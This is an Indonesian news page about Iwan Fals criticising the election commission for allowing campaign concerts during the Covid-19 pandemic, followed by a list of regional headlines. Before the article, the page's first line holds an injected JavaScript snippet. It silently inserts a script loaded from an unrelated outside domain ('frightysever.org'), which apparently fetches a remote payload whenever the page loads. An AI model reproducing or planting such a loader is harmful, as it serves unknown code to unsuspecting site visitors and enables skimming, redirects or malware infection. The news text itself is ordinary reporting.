(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HIBURAN

Iwan Fals Pertanyakan Izin Konser Kampanye Pilkada


KANALKALIMANTAN.COM, JAKARTA – Musisi Iwan Fals mempertanyakan keputusan Komisi Pemilihan Umum (KPU) untuk mengizinkan para kandidat calon kepala daerah yang berlaga di Pilkada Serentak 2020 menggelar konser musik kampanye di tengah pandemi Covid-19.

Musisi senior ini mengutarakan kebingungannya melalui kicauan yang melampirkan potongan tangkapan layar berita CNNIndonesia.com bertajuk KPU Beri Lampu Hijauh Konser Musik untuk Kampanye Paslon.

“Lha iki Kepriben Son…[Lah ini bagaimana?],” tulis Iwan dalam kicauan tersebut.

Warganet langsung membanjiri kicauan itu dengan balasan yang kebanyakan juga mempertanyakan keputusan KPU tersebut.

Sebagian lagi juga membahas para musisi yang mati-matian mencari cara untuk mencari nafkah di tengah pandemi agar tak perlu mengumpulkan massa.

Isu ini menjadi sorotan setelah KPU mengeluarkan izin tersebut melalui pasal 63 ayat (1) Peraturan KPU (PKPU) Nomor 10 Tahun 2020 tentang Pilkada di Tengah Bencana Nonalam Virus Corona, yang ditandatangani Ketua KPU, Arief Budiman, pada 31 Agustus 2020.

Komisioner KPU, I Dewa Kade Wiarsa Raka Sandi, mengonfirmasi hal tersebut. Ia menegaskan bahwa aturan terkait penyelenggaraan konser itu sudah tercantum dalam Undang-undang Nomor 6 Tahun 2020 tentang Pilkada.

Keputusan ini langsung menuai kontroversi, termasuk penentangan dari sejumlah musisi dan anggota Dewan Perwakilan Rakyat.

Anggota Komisi II DPR, Zulfikar Arse Sadikin, meminta KPU membatalkan aturan izin konser tersebut mengingat kasus penularan Covid-19 di Indonesia masih tinggi.

“Walaupun pentas seni dalam PKPU diberi ruang sebagai kegiatan lain dari metode kampanye, dalam penerapannya dapat diatur lebih lanjut bahkan ditangguhkan demi menjaga keselamatan jiwa,” kata Zulfikar.

Merujuk UU Pilkada, Zulfikar mengatakan bahwa kampanye adalah bagian dari pendidikan politik bagi publik. Kampanye harus dilakukan secara bertanggung jawab, tidak sekadar memberikan hiburan. (has/cnnindonesia)

 

Editor: Cell


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

6 jam ago

This website uses cookies.